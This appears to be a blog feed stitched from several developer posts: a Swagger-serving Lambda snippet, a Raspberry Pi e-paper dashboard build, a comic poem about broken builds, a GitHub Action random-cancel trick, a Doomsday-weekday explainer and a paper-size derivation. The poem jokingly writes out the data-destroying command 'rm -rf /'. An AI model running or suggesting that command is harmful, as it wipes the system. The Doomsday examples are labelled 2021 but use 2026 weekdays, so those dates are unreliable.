<h2 id="the-lambda" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/api-gateway-self-hosted-documentation/#the-lambda">The Lambda</a></h2>
<p>The <a href="https://github.com/mendhak/API-Gateway-Self-Hosted-Documentation/blob/master/example/main.js">Lambda handler</a> is passed all requests from <code>/docs</code> onwards.</p>
<p>The trick then is to serve <code>index.html</code> by default for any incoming path, but for requests to <code>swagger.json</code>, serve the OpenAPI documentation.</p>
<pre class="language-javascript"><code class="language-javascript">
<span class="token keyword">var</span> response <span class="token operator">=</span> <span class="token punctuation">{</span>
<span class="token literal-property property">statusCode</span><span class="token operator">:</span> <span class="token number">200</span><span class="token punctuation">,</span>
<span class="token literal-property property">headers</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token string-property property">'Content-Type'</span><span class="token operator">:</span> <span class="token string">'text/html;'</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token literal-property property">body</span><span class="token operator">:</span> fs<span class="token punctuation">.</span><span class="token function">readFileSync</span><span class="token punctuation">(</span><span class="token string">"./index.html"</span><span class="token punctuation">,</span> <span class="token string">"utf8"</span><span class="token punctuation">)</span>
<span class="token punctuation">}</span>
<span class="token keyword">if</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>requestContext<span class="token punctuation">.</span>path<span class="token punctuation">.</span><span class="token function">endsWith</span><span class="token punctuation">(</span><span class="token string">"swagger.json"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
response <span class="token operator">=</span> <span class="token punctuation">{</span>
<span class="token literal-property property">statusCode</span><span class="token operator">:</span> <span class="token number">200</span><span class="token punctuation">,</span>
<span class="token literal-property property">headers</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token string-property property">'Content-Type'</span><span class="token operator">:</span> <span class="token string">'application/json;'</span><span class="token punctuation">,</span>
<span class="token string-property property">"Access-Control-Allow-Origin"</span> <span class="token operator">:</span> <span class="token string">"*"</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token literal-property property">body</span><span class="token operator">:</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>swagger<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
</code></pre>
<p>This is what allows keeping the documentation together with the code.</p>
Raspberry Pi: Simple Waveshare e-paper dashboard with weather and calendar2021-04-02T00:00:00Zhttps://code.mendhak.com/raspberrypi-epaper-dashboard/<p>I have created a simple, DIY e-paper dashboard setup that displays the weather and calendar information. It’s minimal, and doesn’t require a lot of power, so it can run on a Raspberry Pi Zero. I have been running it for several years now and it is very reliable.</p>
<p>Here I will share instructions on setting up a Raspberry Pi Zero WH with a Waveshare ePaper 7.5 Inch HAT.
The screen will display:</p>
<ul>
<li>Date and time</li>
<li>Weather icon and short description, with high and low temperature (OpenWeatherMap, Met office, AccuWeather, Met.no, Climacell, VisualCrossing)</li>
<li>A severe weather warning (provided by Met Office or Weather.gov)</li>
<li>Google Calendar, Outlook Calendar, ICS or CalDav calendar entries</li>
</ul>
<p>Here it is in action</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/raspberrypi-epaper-dashboard/001.jpg"><img src="https://code.mendhak.com/assets/images/raspberrypi-epaper-dashboard/001.jpg" alt="Waveshare epaper dashboard in a photo frame" title="" loading="lazy" data-caption="In a picture frame" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/raspberrypi-epaper-dashboard/002.png"><img src="https://code.mendhak.com/assets/images/raspberrypi-epaper-dashboard/002.png" alt="Rendered PNG image showing calendar, weather and time." title="" loading="lazy" data-caption="Dashboard generated image" style="width: calc(50% - 0.5em);" /></span>
<figcaption>The epaper dashboard</figcaption></figure>
<h2 id="shopping-list" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#shopping-list">Shopping list</a></h2>
<h3 id="e-paper-display" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#e-paper-display">E-Paper Display</a></h3>
<p>The most important component is the Waveshare display, which is a <a href="https://www.waveshare.com/wiki/7.5inch_e-Paper_HAT">7.5 inch e-paper HAT</a> with <code>SKU: 13504</code> and <code>UPC: 614961951068</code>. A quick search will also show similar displays available, with a single additional color. As tempting as they may be, the problem with those displays is the refresh rate, in part due to the way the third color is ‘pushed’ to the surface when displaying a color. While the black and white display isn’t very fast, the colored ones are much, much slower and are only suitable for frequently-refreshing dashboards.</p>
<p><a href="https://smile.amazon.co.uk/gp/product/B075R4QY3L/"><button>E-Paper Display</button></a></p>
<h3 id="raspberry-pi" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#raspberry-pi">Raspberry Pi</a></h3>
<p>Although any Raspberry Pi can be used, the best one to get here is the Raspberry Pi Zero W - it’s thinner and more portable. Since it’s a HAT (Hardware Attached on Top), you can save some time by buying it with the GPIO presoldered. Of course you’ll also need a microSD card.</p>
<p><a href="https://smile.amazon.co.uk/gp/product/B07BHMRTTY/"><button>Raspberry Pi Zero WH</button></a>
<a href="https://smile.amazon.co.uk/gp/product/B073K14CVB"><button>microSDHC card</button></a></p>
<h3 id="picture-frame" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#picture-frame">Picture frame</a></h3>
<p>You’ll need a 18x13 cm (7"x5") picture frame to hold everything together. This is the best size just larger than the e-paper display. The back needs to be made of cheap material so that it can be cut out for the e-paper display’s connection mechanism.</p>
<p><a href="https://www.tescophoto.com/harriet-photo-frame"><button>Picture frame</button></a></p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/waveshare-epaper-display"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/waveshare-epaper-display </span> </a> </div> <div class="github-repo-text">At-a-glance dashboard for Raspberry Pi with a Waveshare ePaper 7.5 Inch HAT. Date/Time, Weather, Alerts, Google/Outlook Calendar</div> <div class="stats-icons"> <a href="https://github.com/mendhak/waveshare-epaper-display/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 530 </a> <a href="https://github.com/mendhak/waveshare-epaper-display/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 89 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Python</a> </div></div>
<h2 id="setup-the-pi" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#setup-the-pi">Setup the PI</a></h2>
<h3 id="prepare-the-pi" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#prepare-the-pi">Prepare the Pi</a></h3>
<p>I’ve got a separate post for this, <a href="https://code.mendhak.com/prepare-raspberry-pi/">prepare the Raspberry Pi with WiFi and SSH</a>. Once the Pi is set up, and you can access it, come back here.</p>
<h3 id="connect-the-display" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#connect-the-display">Connect the display</a></h3>
<p>Turn the Pi off, then put the HAT on top of the Pi’s GPIO pins.</p>
<p>Connect the ribbon from the epaper display to the extension. To do this you will need to lift the black latch at the back of the connector, insert the ribbon slowly, then push the latch down. Now turn the Pi back on.</p>
<p>Wait a few minutes, and let the Pi connect over WiFi. You should be able to SSH onto the Pi now.</p>
<h3 id="configure-the-application" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#configure-the-application">Configure the application</a></h3>
<p><a href="https://github.com/mendhak/waveshare-epaper-display">The Github Repo</a> covers all configuration instructions. This includes:</p>
<ul>
<li>Installing the code and dependencies</li>
<li>Choosing a weather provider (OpenWeatherMap, Met Office, AccuWeather, Met.no, Weather.gov, Climacell)</li>
<li>Choosing a severe weather alert provider (Met Office and Weather.gov)</li>
<li>Choosing a calendar provider (Google Calendar and Outlook)</li>
<li>Choosing a layout</li>
</ul>
<p><a href="https://github.com/mendhak/waveshare-epaper-display#readme"><button>Instructions on Github</button></a></p>
<h2 id="run-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#run-it">Run it</a></h2>
<p>Run <code>./run.sh</code> which should query your chosen weather provider, as well as Google/Outlook calendar. It will then create a png, then display the png on screen.
After a few runs, if everything is working well, you should then make this a cron job.</p>
<pre class="language-bash"><code class="language-bash">* * * * * <span class="token builtin class-name">cd</span> /home/pi/waveshare-epaper-display <span class="token operator">&&</span> <span class="token function">bash</span> run.sh <span class="token operator">></span> run.log <span class="token operator"><span class="token file-descriptor important">2</span>></span><span class="token file-descriptor important">&1</span></code></pre>
<h2 id="putting-it-in-a-picture-frame" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#putting-it-in-a-picture-frame">Putting it in a picture frame</a></h2>
<p>The picture frame I got had a cheap backing. Using a box cutter (Stanley knife) I was able to remove a square portion from the bottom. This allowed me to put the e-paper display inside the picture frame while its connector hung outside.</p>
<p>The ribbon from the connector loops upwards and over to the picture frame’s stand. The Raspberry Pi Zero WH is light enough that it could be taped right to the stand.</p>
<p>The only bit of wire in the whole setup is the USB to power the Raspberry Pi.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/raspberrypi-epaper-dashboard/003.png"><img src="https://code.mendhak.com/assets/images/raspberrypi-epaper-dashboard/003.png" alt="Cutout for e-paper connector" loading="lazy" data-caption="Cutout for e-paper connector" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/raspberrypi-epaper-dashboard/004.png"><img src="https://code.mendhak.com/assets/images/raspberrypi-epaper-dashboard/004.png" alt="Topdown view or Raspberry Pi attached to picture frame stand" loading="lazy" data-caption="Topdown view or Raspberry Pi attached to picture frame stand" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Picture frame details</figcaption></figure>
<h2 id="how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#how-it-works">How it works</a></h2>
<p>Everything starts with the <code>screen-template.svg</code> which holds the labels and layout for the final image to be produced. SVGs are simply XML files which are understood by renderers. Being text files makes them easy to work with from dynamic scripts.</p>
<h3 id="api-calls" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#api-calls">API Calls</a></h3>
<p>The first part of <code>run.sh</code> calls on the <code>screen-weather.get.py</code> script which queries Climacell API, gets the weather info and substitutes icons and temperatures in the SVG. It also sets the date and time. The SVG is then written out to <code>screen-output-weather.svg</code>. The API response is stored in</p>
<p>The last API call is to Google Calendar, the upcoming 2 calendar entries are written to the same SVG.</p>
<div class="notice info">
Due to API rate limits, you will see various <code>.pickle</code> files which store the Google/Outlook Calendar and weather API responses for a few hours. This means that any new entries in your target calendar won’t show up immediately. Similarly weather info will be up to a few hours delayed.<br />
</div>
<h3 id="image-conversion-and-display" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#image-conversion-and-display">Image conversion and display</a></h3>
<p>The image is converted from the intermediate SVG to PNG, and then the <code>display.py</code> renders it to screen using the e-Paper libraries. This used to take 30 seconds, but <a href="https://github.com/waveshare/e-Paper/pull/104">recent improvements</a> have brought it down to less than 10 seconds. Which is decent, considering the Raspberry Pi Zero hardware.</p>
<p>It’s possible to use the C libraries to make this process even faster, but it requires writing and compiling the display binary yourself. It could further be sped up by converting the PNG to a 1-bit BMP so that there’s less data to send over the wire. The C way would take about 6-8 seconds.</p>
<p>The reason for sticking with the Python way is that I’ve got a v1 Waveshare display, while most users have a v2 Waveshare display, and it’s easier to cater to both this way. Curse of the early adopter!</p>
<h3 id="refreshing-the-screen-at-2-am" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#refreshing-the-screen-at-2-am">Refreshing the screen at 2 AM</a></h3>
<p>The display by default does a ‘partial’ refresh every minute when displaying the new image. However, the <a href="https://www.waveshare.com/w/upload/7/74/7.5inch-e-paper-hat-user-manual-en.pdf">Waveshare documentation</a> recommends refreshing the screen fully once every 24 hours.</p>
<blockquote>
<p>We suggest you update e-Paper once every 24 hours or at least 10 days to update again. Otherwise, ghost of the last content may cannot [sic] be cleared</p>
</blockquote>
<p>To this effect, the screen goes fully blank at 2 AM for a minute, with the assumption that very few people will be awake to see it.</p>
<h2 id="troubleshooting" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#troubleshooting">Troubleshooting</a></h2>
<p>If the scripts don’t work at all, try going through the Waveshare sample code linked below - if you can get those working, this script should work for you too.</p>
<p>You may want to further troubleshoot if you’re seeing or not seeing something expected.<br />
If you’ve set up the cron job as shown above, a <code>run.log</code> file will appear which contains some info and errors.<br />
If there isn’t enough information in there, you can set <code>export LOG_LEVEL=DEBUG</code> in the <code>env.sh</code> and the <code>run.log</code> will contain even more information.</p>
<p>The scripts cache the calendar and weather information, to avoid hitting weather API rate limits.<br />
If you want to force a weather update, you can delete the <code>cache_weather.json</code>.<br />
If you want to force a calendar update, you can delete the <code>cache_calendar.pickle</code> or <code>cache_outlookcalendar.pickle</code>.<br />
If you want to force a re-login to Google or Outlook, delete the <code>token.pickle</code> or <code>outlooktoken.bin</code>.</p>
<h2 id="learn-more-waveshare-documentation-and-sample-code" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/raspberrypi-epaper-dashboard/#learn-more-waveshare-documentation-and-sample-code">Learn more: Waveshare documentation and sample code</a></h2>
<p>Waveshare have a <a href="https://www.waveshare.com/w/upload/7/74/7.5inch-e-paper-hat-user-manual-en.pdf">user manual</a> which you can get to from <a href="https://www.waveshare.com/wiki/7.5inch_e-Paper_HAT">their Wiki</a></p>
<p>The <a href="https://github.com/waveshare/e-Paper">Waveshare demo repo is here</a>. Assuming all dependencies are installed, these demos should work.</p>
<pre><code>git clone https://github.com/waveshare/e-Paper
cd e-Paper
</code></pre>
<p>This is the best place to start for troubleshooting - try to make sure the examples given in their repo works for you.</p>
<p><a href="https://github.com/waveshare/e-Paper/blob/master/RaspberryPi_JetsonNano/c/readme_EN.txt">Readme for the C demo</a></p>
<p><a href="https://github.com/waveshare/e-Paper/blob/master/RaspberryPi_JetsonNano/python/readme_jetson_EN.txt">Readme for the Python demo</a></p>
Why the F**k won't you build?2021-03-22T00:00:00Zhttps://code.mendhak.com/why-the-f-wont-you-build/<p><em>To the tune of <a href="https://www.youtube.com/watch?v=ma-7jb9vEjA">Go the Fuck to Sleep</a></em></p>
<p>The lofi hip hop plays gently,<br />
The drink I’m nursing is chilled.<br />
My pull request has a funny gif in it,<br />
So why the fuck won’t you build?</p>
<p>My latest abstraction sits neatly in layers,<br />
Though my teammates are less than thrilled.<br />
But I saw it in some blog post, so they’re wrong,<br />
Help me out with a build.</p>
<p>Lint warnings I glaze over easily,<br />
Code coverage I’ve lowered and killed.<br />
How come you can run all this other great shit,<br />
But you can’t fucking build?</p>
<p>The errors appear in a soft crimson,<br />
Thinking I’m even remotely skilled.<br />
I’ve just copied what’s on StackOverflow<br />
So please quit fucking with me and build!</p>
<p>The alerting system starts beeping,<br />
Telling me the hard drive is filled.<br />
Hey, I know this one, run <code>rm -rf /</code><br />
There. Enough. Now build.</p>
<p>The build agent has gone silent,<br />
A fear in me has been instilled.<br />
Oh dear Jesus what have I done,<br />
All you had to do was build!</p>
<p>Dejected and red-eyed I sit here,<br />
Now my drink I have accidentally spilled,<br />
The AWS free tier nears its limits,<br />
I think I’m about to get billed.</p>
Getting a Github Action to run randomly2021-03-14T00:00:00Zhttps://code.mendhak.com/github-action-run-randomly-end-early/<p>If you have a Github Action set on a cron schedule, but don’t necessarily want it to always run on that schedule - for example a daily cron that doesn’t <em>always</em> need to run daily - it’s possible to introduce a random cancellation step.</p>
<p>In the first step, set an environment variable. Here we’re using <code>$((RANDOM%2))</code> to give a 50% chance. This sets a 1 or 0 value against the <code>$PROCEED</code> environment variable.</p>
<pre class="language-yml"><code class="language-yml"><span class="token key atrule">steps</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> <span class="token key atrule">id</span><span class="token punctuation">:</span> Roll dice
<span class="token key atrule">run</span><span class="token punctuation">:</span> echo "PROCEED=$((RANDOM%2))" <span class="token punctuation">></span><span class="token punctuation">></span> $GITHUB_ENV
<span class="token key atrule">shell</span><span class="token punctuation">:</span> bash</code></pre>
<p>Next, call the <a href="https://github.com/andymckay/cancel-action">cancel action</a> but only if <code>$PROCEED</code> was set to 0 in the previous step.</p>
<pre class="language-yml"><code class="language-yml"><span class="token punctuation">-</span> <span class="token key atrule">if</span><span class="token punctuation">:</span> env.PROCEED == '0'
<span class="token key atrule">name</span><span class="token punctuation">:</span> Cancelling
<span class="token key atrule">uses</span><span class="token punctuation">:</span> andymckay/cancel<span class="token punctuation">-</span>action@0.2</code></pre>
<p>The cancellation call can take about 15-30 seconds, so it’s worth adding in a sleep step so that the actual remaining build steps don’t get called and killed halfway.</p>
<pre class="language-yml"><code class="language-yml"><span class="token punctuation">-</span> <span class="token key atrule">if</span><span class="token punctuation">:</span> env.PROCEED == '0'
<span class="token key atrule">name</span><span class="token punctuation">:</span> Waiting for cancellation
<span class="token key atrule">run</span><span class="token punctuation">:</span> sleep 60</code></pre>
<h2 id="all-together-a-snippet-of-a-sample-workflow" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-action-run-randomly-end-early/#all-together-a-snippet-of-a-sample-workflow">All together, a snippet of a sample workflow:</a></h2>
<p>Here’s an example workflow which runs daily at 5:30, but now should run just half the time.</p>
<pre class="language-yml"><code class="language-yml"><span class="token key atrule">name</span><span class="token punctuation">:</span> My Action
<span class="token comment"># Controls when the action will run. Triggers the workflow on push or pull request</span>
<span class="token comment"># events but only for the master branch</span>
<span class="token key atrule">on</span><span class="token punctuation">:</span>
<span class="token key atrule">push</span><span class="token punctuation">:</span>
<span class="token key atrule">branches</span><span class="token punctuation">:</span> <span class="token punctuation">[</span> master <span class="token punctuation">]</span>
<span class="token key atrule">schedule</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> <span class="token key atrule">cron</span><span class="token punctuation">:</span> <span class="token string">'30 5 * * *'</span>
<span class="token comment"># A workflow run is made up of one or more jobs that can run sequentially or in parallel</span>
<span class="token key atrule">jobs</span><span class="token punctuation">:</span>
<span class="token comment"># This workflow contains a single job called "build"</span>
<span class="token key atrule">build</span><span class="token punctuation">:</span>
<span class="token comment"># The type of runner that the job will run on</span>
<span class="token key atrule">runs-on</span><span class="token punctuation">:</span> ubuntu<span class="token punctuation">-</span>latest
<span class="token comment"># Steps represent a sequence of tasks that will be executed as part of the job</span>
<span class="token key atrule">steps</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> <span class="token key atrule">id</span><span class="token punctuation">:</span> Roll dice
<span class="token key atrule">run</span><span class="token punctuation">:</span> echo "PROCEED=$((RANDOM%2))" <span class="token punctuation">></span><span class="token punctuation">></span> $GITHUB_ENV
<span class="token key atrule">shell</span><span class="token punctuation">:</span> bash
<span class="token punctuation">-</span> <span class="token key atrule">if</span><span class="token punctuation">:</span> env.PROCEED == '0'
<span class="token key atrule">name</span><span class="token punctuation">:</span> Cancelling
<span class="token key atrule">uses</span><span class="token punctuation">:</span> andymckay/cancel<span class="token punctuation">-</span>action@0.2
<span class="token punctuation">-</span> <span class="token key atrule">if</span><span class="token punctuation">:</span> env.PROCEED == '0'
<span class="token key atrule">name</span><span class="token punctuation">:</span> Waiting for cancellation
<span class="token key atrule">run</span><span class="token punctuation">:</span> sleep 60
<span class="token comment"># Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it</span>
<span class="token punctuation">-</span> <span class="token key atrule">uses</span><span class="token punctuation">:</span> actions/checkout@v2
<span class="token comment"># rest of your steps...</span></code></pre>
Mentally calculate the day of the week, given a date in the current year2021-02-27T00:00:00Zhttps://code.mendhak.com/mentally-calculate-day-of-the-year/<p>The Doomsday algorithm is a memory trick that lets you figure out the day of the week that a given date falls on. I’ll go over the simplest variation of this which is a good starting point, and requires refreshing just once a year.</p>
<h2 id="the-last-day-in-february" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/mentally-calculate-day-of-the-year/#the-last-day-in-february">The last day in February</a></h2>
<p>For this year of writing (2026) the last day in February is the 28<sup>th</sup> and it falls on a <strong>Saturday</strong>. This is the <em>anchor</em> day, and is the only variation you need to memorize for a given year.</p>
<p>The rest of the mnemonic stays the same every year. There will be a day in each month which also falls on that anchor day (Saturday). Once you know where you are in a month, you can work forwards or backwards to figure out the day.</p>
<h2 id="the-even-months" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/mentally-calculate-day-of-the-year/#the-even-months">The Even Months</a></h2>
<p>For the remaining even months in the year, just match the month number with itself.</p>
<ul>
<li>The 4<sup>th</sup> of the 4<sup>th</sup> month (April 4)</li>
<li>The 6<sup>th</sup> of the 6<sup>th</sup> month (June 6)</li>
<li>The 8<sup>th</sup> of the 8<sup>th</sup> month (August 8)</li>
<li>The 10<sup>th</sup> of the 10<sup>th</sup> month (October 10)</li>
<li>The 12<sup>th</sup> of the 12<sup>th</sup> month (December 12)</li>
</ul>
<p>All fall on the anchor day (Saturday).</p>
<h2 id="the-odd-months" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/mentally-calculate-day-of-the-year/#the-odd-months">The Odd Months</a></h2>
<p>For the odd months, remember this: “9 to 5 at 7-11”.</p>
<ul>
<li>The 9<sup>th</sup> of the 5<sup>th</sup> month (May 9)</li>
<li>The 5<sup>th</sup> of the 9<sup>th</sup> month (September 5)</li>
<li>The 7<sup>th</sup> of the 11<sup>th</sup> month (November 7)</li>
<li>The 11<sup>th</sup> of the 7<sup>th</sup> month (July 11)</li>
</ul>
<p>All fall on the anchor day (Saturday).</p>
<h2 id="january" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/mentally-calculate-day-of-the-year/#january">January</a></h2>
<p>For January, remember this: “3 out of 4”.</p>
<p>The anchor day is on the 3<sup>rd</sup> every 3 out of 4 years. It’s on the 4<sup>th</sup> on leap years.</p>
<p>That means for 2026, January 3<sup>rd</sup> falls on the anchor day (Saturday).</p>
<h2 id="march" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/mentally-calculate-day-of-the-year/#march">March</a></h2>
<p>If you look at a calendar, you’ll notice that all the dates in February and March fall on the same day.</p>
<p>That means just like February, March 28<sup>th</sup> falls on the anchor day (Saturday). Even easier, any multiple of 7 in March will also match the anchor day.</p>
<h2 id="practice" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/mentally-calculate-day-of-the-year/#practice">Practice</a></h2>
<p>You can now practice - pick a random date in the year. Figure out that month’s anchor day, then work towards the date.</p>
<p>Example: December 25<sup>th</sup> 2021.</p>
<ol>
<li>The 12<sup>th</sup> of the 12<sup>th</sup> month.</li>
<li>December 12<sup>th</sup> is a Saturday.</li>
<li>12 + 14 days = 26<sup>th</sup> is a Saturday</li>
<li>25<sup>th</sup> is a Friday</li>
</ol>
<p>Example: September 15<sup>th</sup> 2021.</p>
<ol>
<li>5<sup>th</sup> of the 9<sup>th</sup> month</li>
<li>September 5<sup>th</sup> is a Saturday</li>
<li>5 + 7 = 12<sup>th</sup> is a Saturday.</li>
<li>Plus a few more days, September 15<sup>th</sup> is a Tuesday</li>
</ol>
<h2 id="advanced-doomsday-figure-out-the-anchor-day-for-a-given-year" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/mentally-calculate-day-of-the-year/#advanced-doomsday-figure-out-the-anchor-day-for-a-given-year">Advanced Doomsday - figure out the anchor day for a given year</a></h2>
<p>It’s actually possible to figure out which day will be the anchor day, just by looking at the year itself. This is because the calendars repeat themselves every 400 years, and roughly you need to figure out the anchor day for the century, then the anchor day for the year, and then the anchor day for each month.</p>
<p>The algorithm for that is <a href="https://www.timeanddate.com/date/doomsday-weekday.html">described here</a> and is also on <a href="https://en.wikipedia.org/wiki/Doomsday_rule">Wikipedia</a>.</p>
<p>It’s too much effort for me so I just memorize the anchor day for the year at the beginning of each year.</p>
Standard paper sizes are an elegant example of simple maths2020-12-12T00:00:00Zhttps://code.mendhak.com/paper-sizes-standard/<p>The well known A, B, C series paper sizes may seem arbitrary at first glance, but they are actually based on some simple basic principles which make it easy to calculate and understand. They are quite intuitive and easy to work with and are based on good mathematical foundations.</p>
<p>The single underlying premise for any standard paper size is extremely simple:</p>
<blockquote>
<p>When a sheet is cut in half (by width), the aspect ratio should be maintained</p>
</blockquote>
<p>Using just this statement we can figure out the required aspect ratio. Once we have that ratio, we can also figure out the actual sheet sizes for the different series.</p>
<p>To illustrate this principle, in the image below, we take a sheet of paper with height <code>x</code> and width <code>y</code>. It is cut width-wise, and one half is discarded. The remaining half is rotated. That new height and width should have the same ratio as the original piece of paper.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/paper-sizes-standard/001preview.png">
<img src="https://code.mendhak.com/assets/images/paper-sizes-standard/001preview.png" alt="A0 page folded in half and rotated 90 degree, the size of an A1" title="" loading="lazy" /></span>
<figcaption>Maintain ratio while folding</figcaption>
</figure><p></p>
<h2 id="calculate-the-ratio" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/paper-sizes-standard/#calculate-the-ratio">Calculate the ratio</a></h2>
<p>Using the above image as reference, we can now calculate the ratio of an A0 paper.</p>
<p>Given a sheet with <code>x</code> height and <code>y</code> width, the next size down results in a ‘new’ sheet with <code>y</code> height and <code>x/2</code> width. And remember that the ratio must be maintained. Which means:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/paper-sizes-standard/002.png">
<img src="https://code.mendhak.com/assets/images/paper-sizes-standard/002.png" alt="x/y=y/(x/2) or 2(y/x)" title="" loading="lazy" /></span>
<figcaption> </figcaption>
</figure><p></p>
<p>Move the x and y across the equal sign, and we get:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/paper-sizes-standard/003.png">
<img src="https://code.mendhak.com/assets/images/paper-sizes-standard/003.png" alt="x^2=2y^2" title="" loading="lazy" /></span>
<figcaption> </figcaption>
</figure><p></p>
